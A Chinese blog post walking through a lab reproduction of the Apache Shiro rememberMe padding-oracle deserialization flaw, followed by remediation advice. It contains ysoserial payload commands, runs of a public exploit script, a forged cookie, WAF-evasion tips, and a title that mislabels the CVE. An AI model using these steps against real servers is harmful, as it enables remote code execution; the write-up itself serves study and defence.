Apache Shiro 反序列化漏洞（Shiro-721 CVE-2016-4437）

青旅半醒 2024-04-07 10:46 83阅读 0赞

#### 0x00 漏洞介绍 ####

Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题，用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段，并重新请求网站，进行反序列化攻击，最终导致任意代码执行。

#### **0x01 影响版本** ####

Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1版本。

#### **0x02 漏洞指纹** ####

1.set-Cookie: rememberMe=deleteMe  
2.URL中有shiro字样  
3.有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

#### **0x03 利用技巧** ####

1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ；

2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。

#### **0x04 漏洞原理** ####

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题，用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段，并重新请求网站，进行反序列化攻击，最终导致任意代码执行。

#### 0x04 环境搭建 ####

**1.利用docker搭建环境一：**

root@backlion-virtual-machine:/opt\# docker pull vulfocus/shiro-cve\_2016\_4437

root@backlion-virtual-machine:/opt\#docker ps

root@backlion-virtual-machine:/opt\#docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL\_IP=192.168.1.14 be60cf0b7704

**2.利用dokcer 搭建环境二：**

复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8

git下载shiro-720到本地环境

git clone https://github.com/3ndz/Shiro-721.git

对shiro-720进行编译
        
        
         cd Shiro-721/Docker

docker build -t shiro-721 .

启动dokcer并将端口8080映射到主机端口8080上
        
        
         docker run -p 8080:8080 -d shiro-721

查看是否搭建成功

docker ps

![49e32dbe3f4349331a5c65d1790e4482.png][]

**3.通过自行编译1.4.1war 包放入tomcat容器中运行**

安装maven

wget [https://downloads.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz][https_downloads.apache.org_maven_maven-3_3.6.3_binaries_apache-maven-3.6.3-bin.tar.gz]

![c5f4ec1f54df13d0dcab9864f5f57b1e.png][]

tar zxvf apache-maven-3.6.3-bin.tar.gz -C /usr/local

![860b10559c7a3cfe84dcc15242fdb558.png][]

vi /etc/profile

export MAVEN\_HOME=/usr/local/apache-maven-3.6.3

export PATH=$MAVEN\_HOME/bin:$PATH

![8b4f17d37a96aa894de3ce4edce91f59.jpeg][]

source /etc/profile

mvn -v

![9039169d10e607682faef7991e56c379.png][]

vim /usr/local/apache-maven-3.6.3/conf/settings.xml  
找到mirrors节点添加阿里镜像库地址：

<id>alimaven</id>

<name>aliyun maven</name>

<url>http://maven.aliyun.com/nexus/content/groups/public/</url>

<mirrorOf>central</mirrorOf>

</mirror>

</mirrors>

![e36c4d8a78baa28fe95fd082baa04f9b.png][]

可从 Apache Shiro Gtihub 官方仓库自行下载漏洞影响版本(https://github.com/apache/shiro)，使用 Apache Maven(软件项目管理及自动构建工具) 编译构建生成 war Java 应用程序包。

git clone [https://github.com/apache/shiro.git][https_github.com_apache_shiro.git]

![596001a4aa6ab8a5477624146d545e55.png][]

cd shiro

git checkout shiro-root-1.4.1

![9788cd6766057448681adf2854790716.png][]

mvn install

以下几项执行完成以后即可暂停，进而编译 samples/web 下的即可。

\[INFO\] Apache Shiro ....................................... SUCCESS \[ 1.630 s\]

\[INFO\] Apache Shiro :: Core ............................... SUCCESS \[ 46.175 s\]

\[INFO\] Apache Shiro :: Web ................................ SUCCESS \[ 3.571 s\]

cd samples/web

mvn install

将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中)拷贝到 Tomcat 的 webapps 目录下，启动tomcat即可。

这里已编号war包：

https://github.com/backlion/demo/blob/master/samples-web-1.4.1.war

将war包拷贝到docker tomcat容器中的webasps目录下

之后打开http://192.168.1.9:8080/samples-web-1.4.1/

![d8c19c497731cb9ba053d159a860a9a4.png][]

####  **复现步骤：** ####

1.  输入正确的用户名和密码登录网站(勾选Remember)，并从cookie中获取RememberMe值。
2.  使用RememberMe cookie作为Padding Oracle Attack的前缀。
3.  加密ysoserial的序列化有效负载，以通过Padding Oracle Attack制作精心制作的RememberMe。
4.  请求带有新的RememberMe cookie的网站，以执行反序列化攻击。
5.  攻击者无需知道RememberMe加密的密码密钥。

#### 0x05 漏洞复现： ####

**一.漏洞利用复现01**

1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me)：

![3db59f0809843ec5ecc726659e32619d.png][]

(1) 认证失败时(输入错误的用户名和密码)，http响应页面中会显示出deleteMe的cookie:

![8933f4d4a1fafdb20732439b8e061764.png][]

(2) 认证成功(输入正确的用户名和密码登录)，http响应页面中不会显示deleteMe的cookie:

![631c02f3d7f7d1ebf1164738b6257a25.png][]

根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影响反序列化结果)，此时会有两中情况:

1.  构造的数据不能通过字符填充验证，返回deleteme;
2.  构造的数据可以成功解密通过字符填充验证，之后数据可以正常反序列化，不返回deleteme的cookie.

2.这里输入正确的用户名和密码，并勾选Remeber ME。

![af5df56878ca88c5744fb34cb48c1323.png][]

3.登录成功后，访问http://192.168.1.14:8080/account/，并通过burp对其进行抓包，得到Cookie中的rememberMe值

![567c204d88642f4b97d9f8b3e12e7a9d.png][]

4.使用Java反序列化工具 ysoserial 生成 Payload:

root@kali:/opt\# java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections1 'touch /tmp/test' > payload.class \#这里可以生成在目标靶机中创建/tmp/test的payload

![836908f627f9159e2cdb52570b8dcbbb.png][]

5.通过git对其padding oracle attack poc进行下载

git clone https://github.com/wuppp/shiro\_rce\_exp.git

![259cd1f00f98072b0fd3609e1c33adb1.png][]

6. 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

> 注意： 此 exp 爆破时间较长，建议使用 ysoserial 生成较短的 payload 验证(如： ping 、 touch /tmp/test等)，约 1 个多小时可生成正确的 rememberme cookie，生成成功后将自动停止运行。

root@kali:/opt\# cp payload.class shiro\_rce\_exp/

root@kali:/opt\# cd shiro\_rce\_exp/

root@kali:/opt\# python shiro\_exp.py http://192.168.1.14:8080/account/ HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77 payload.class

![dad0b2dd967dad1d5dcb50cbc4e48fba.png][]

![bdca2edaf1a4481b6535030aac3208f1.png][]

rememberMe cookies:

Sr3FrVSmz48Tz+k5ZQxUbvAoyEOxk73bEOKUZgvK/W4U8sTEwzhUiU5YwS5HLZb5qe40REONqDBiDxiDz53NCLz7Xz57yorDiuvzRzfosivcjVjhSBfqcRGGRzEoaUGoI7LDb1Cn9pJIz/1xoyL5AcX05T2tfOwpY9u1crUWM28Xh5bY+Us50UQe7mrrDRAhefjETO7VudSkBpf7+KPVmbvPilkMuF153B/YjoAs1qQPDv2bBfS+H9BxILf4vRbhWmVLZnq/mj0t4d3MPhLV6vrtGCp0OjLFvDkPz5MlEk1uAlJjM5YZebvFR2Akei7YI4Xz0pWBs1j7cvq6f5J++ysiPC/lHtWgTY7WLcTTxxJXcGOGPT9N4KZAwpqCjQQbgm4fWGxaci778eWkTWbxqRS7nmfy/UX4P1trwloHdJhB69Pu7qorHUalpDR0YcWbiBc/VuAvOhoutKCW0LjQOjKyJsGj/6nMKTJ98ZG2sG52R5OHp7ELaB7BK+xn4v8e7KNlcCq41VMQyz++qFtDCvSB8kCfgPETF39eEVB4s2ZLwr0OQBViaeszAUIsJjCkaxYADnlt2Sy9wQ8OwSx05VdcuCWjD1q+WjWFePOoQIAxCQiJmHN8G+f609Hj4GlmNYDGsOVIl7J+JWt2ri4HEICHxeflP6e+ALb/UEYGxvRHs11VCNf35usHwyxEFD3VKGFYZ86StRK7czORGSv6jRBjOu3LsWfoHEEElQRQ8CZpSfaPahuKhrkZeVKpQ+14tllU6NtPrM64ytCTr0kXlcLJCAZF8YEy6/iYwFyVVbymNrUoE1nAF3RgzZU8WMvy/yJzFQZm87Lod50r66EC+Y2BANo2rGmo02gQIif/M8SHWXakKp6hnO9iTK37JuSRp4XakH2HubjsfvZtN8KNaAGKIGAxCMRt8w4/duMZHKrKnmoxd9CiGUHjbgj1oP29Fz3OHnqah7sZjHbAw5QZuh+6pgbkb+U9WikFQjISbsJzBm+3MRt0hN2rnbjMvBJmo6Z+FuUZYQNmLo93pDflsYhvYaKcL8Ji3KIcU1v/zC4shbe2WS1CojtV9fNAnJ8rO9cHXC4pfGkbIe1ZLckSS3JWwMtC34X+D+JVuNl6v+03sWvAjCIEoOxL5s0+kqq7QD0B9te7n47UqaAoyH6Ok6O+sTz21zp8W2oDg6iCiWA3njB3ZKp9WhPNgT1qiJcwPcH1mDFJZtMkfBcDFeOQXBr1X253IZImsPC0LkKJZBI2dkgysy0jnLs5gKa9cebfZyJQkRQuFtpa7obu+Fs40ICStzuKoIm7dtZO6Yo6dxRTNWDbZYopt53YcvtSiXVjoi3XR7Qymlm01BHLgzZvF17ANT9H5KXgjfM6Ct6xjFEfHUl+DxevS/GOeSwOzCeoBN5n9UvjopnGoZGrnRw/XaeU+3UpFb+kRI4pr60vm/J9u2KSYrvLSr573vQ7j438J9GSP9yQ0x4XeRKz6PpM4ntaqwPt8gKSPKnVkAeUPb6ocDD1O6lhg3FurZ7WgB3qj90pVzStXRzHDeTkbOCgAZzxOwoH8TuA0TkW3NVSVg1OMAspYhGDiOtFznnOc3ES8D5KzPyThas0eGvrmzPGpWLtK1cfrZEwgmndJFoK3f1rV7Y2FghM56Zl9xhFodS4Cjv9HgzRsBIMtrF57pbftvvBOoBNRvkg2WLMK2+ruzD90dNHypvBTlmyMWFVSeGGWYkeeNgCAzrWF/LpkTSfxCRwe0dhUkFXEYlYksTWZgmWU4haiIifz7+dpm/tME/BZhzbIVRYwraYYydyN34ODw/RJN+LSsL0XRFb0xPWjuIEn4Cselz1XOt/XO0D5G2NZ8vjVBp0mArwp4GtN6ISvgAAAAAAAAAAAAAAAAAAAAA=

7.使用Evil Rememberme cookie 认证进行反序列化攻击：复制该cookie，然后重放一下数据，即可成功执行命令

![8c15868989b1215c5cff33f407c0049c.png][]

8.检查一下执行结果，可以看到成功创建了一个test文件

root@backlion-virtual-machine:/opt\# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

3f2fb81c0d93 be60cf0b7704 "/usr/local/tomcat/b…" About an hour ago Up About an hour 0.0.0.0:8080->8080/tcp vigilant\_williamson

root@backlion-virtual-machine:/opt\# docker exec -it 3f2fb81c0d93 /bin/bash

root@3f2fb81c0d93:/tmp\# ls

![1f2830889ebd985493272a171ae84c3d.png][]

另一种验证方式：

[http://10.206.14.185:8080/samples-web-1.4.1/account/][http_10.206.14.185_8080_samples-web-1.4.1_account]

![d60a3b26f8a320acfb4fdce9729e7b34.png][]

java  -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping y2xqmm.dnslog.cn" > payload.class   #也可以生成简单ping dnslog的地址来测试是否

python shiro_exp.py   
         
         
          http://10.206.14.185:8080/samples-web-1.4.1/account/    7y9G8wmu+3c94D0kaxohut34n3ldwNnWxmrT9DQDEiSrQ7agYNnci1mh+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl/5eiDTn7Wx3yLbHCPyg6v+Qu5ADD+AMbvdHzlLOwY8Pfm5uqEKp36jIwsZjDcQJRhwyUjhAuRyqSUEFKzAq95XUYRaBKKsoxQwN6gD4z7G6lAIBY880CP0QIMhImmbHVfJti/rrnJ/RsxJtoeIH8TujlsEvcCGbJ3Od2XDbhilQUT57XralFArZB7tVCQE9/Vdce96jzR1TjD2rsPbg77eEUXOWbwkYBkJxFBex+p/YrLeJnxm9IvDijGHH2pZp9kCkej7uc8qPm+rH+V3xE0ChIxZXF5l9ScPsvHLJD+gAhgszg75pQnLiS5SOPG73GCj2gFFzzsKnCB  payload.class

**一.漏洞利用复现02**

1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me)：

http://192.168.1.14:8080/login.jsp

![cee05755d3df9fd836e3d89f9678f340.png][]

2.打开burp并对其进行抓包，Send to Repeater，可以看到成功登录后的cookie中的rememberMe值

![8ae53af231903eb86dc3406012e953b3.png][]

3.通过shiro550/721漏洞检查工具对其进行验证

工具下载地址：

https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z

![f9c75199f1dda506f70f49ce297738b5.jpeg][]

![9f943b200e6d7760c69ec4ef748b6f40.png][]

4.出现“+”证明存在漏洞

###  ###

[http://10.206.14.185:8080/samples-web-1.4.1/login.jsp][http_10.206.14.185_8080_samples-web-1.4.1_login.jsp]

![ced7955e31c73056741d2a415066e42b.png][]

### 0x06 修复方式 ###

1.更新版本Apache Shior到最新版本：

1.  1.  升级至安全版本
    2.  关闭rememberMe持久化登录功能。

2. 临时防范建议：  
在安全设备尝试拦截爆破流量，及时阻止攻击者进行尝试性攻击。

a. 升级Shiro到最新版

b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

c.WAF拦截Cookie中长度过大的rememberMe值

d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie

[49e32dbe3f4349331a5c65d1790e4482.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bf05a6bdeb724658a13ff9423c5b07e8.png
[https_downloads.apache.org_maven_maven-3_3.6.3_binaries_apache-maven-3.6.3-bin.tar.gz]: https://downloads.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
[c5f4ec1f54df13d0dcab9864f5f57b1e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/82fd1d64cc154baca0946097e7629836.png
[860b10559c7a3cfe84dcc15242fdb558.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8c5b9bae3f794462a3a29bfc461c1ab8.png
[8b4f17d37a96aa894de3ce4edce91f59.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/93885df8bf354b1d8bd16af2be7d1a12.jpeg
[9039169d10e607682faef7991e56c379.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a219e9bfdb724473a748eb9d01a92d35.png
[e36c4d8a78baa28fe95fd082baa04f9b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/965e63b6c3964769b66952eb2d0b2124.png
[https_github.com_apache_shiro.git]: https://github.com/apache/shiro.git
[596001a4aa6ab8a5477624146d545e55.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/558087e2c1cd4a12ba2118d4b3a7bb55.png
[9788cd6766057448681adf2854790716.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ca737db2e97e423d8ad68dc3fbe65f5a.png
[d8c19c497731cb9ba053d159a860a9a4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ebd9ee993e71408c9b0cdb0cebeab8bc.png
[3db59f0809843ec5ecc726659e32619d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c1dce66bd94445c7b3f1843dff0ede39.png
[8933f4d4a1fafdb20732439b8e061764.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b8a85b5efd424929b2970b38473276db.png
[631c02f3d7f7d1ebf1164738b6257a25.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4b80772b2cdb49aaadd70ae21177baaa.png
[af5df56878ca88c5744fb34cb48c1323.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9ef93e1b602346ab9338ef2fc9df386e.png
[567c204d88642f4b97d9f8b3e12e7a9d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/68c5fd15f681421fbcf69c438cd7116c.png
[836908f627f9159e2cdb52570b8dcbbb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/058fd13ea29546989c6e7d46704b5350.png
[259cd1f00f98072b0fd3609e1c33adb1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/123c3182a5d04dbdb849b7b310515691.png
[dad0b2dd967dad1d5dcb50cbc4e48fba.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b0aa6eff0c8a4f9abc4fbe5d78616d56.png
[bdca2edaf1a4481b6535030aac3208f1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2429e9849c1243c7b8b6f2da7b31710c.png
[8c15868989b1215c5cff33f407c0049c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/70c83ad02ed2418ab3782384d803c438.png
[1f2830889ebd985493272a171ae84c3d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/77eea152a2d044a88eac8cbe84a28e53.png
[http_10.206.14.185_8080_samples-web-1.4.1_account]: http://10.206.14.185:8080/samples-web-1.4.1/account/
[d60a3b26f8a320acfb4fdce9729e7b34.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/20b642790f594aa7a1236570a23cd20d.png
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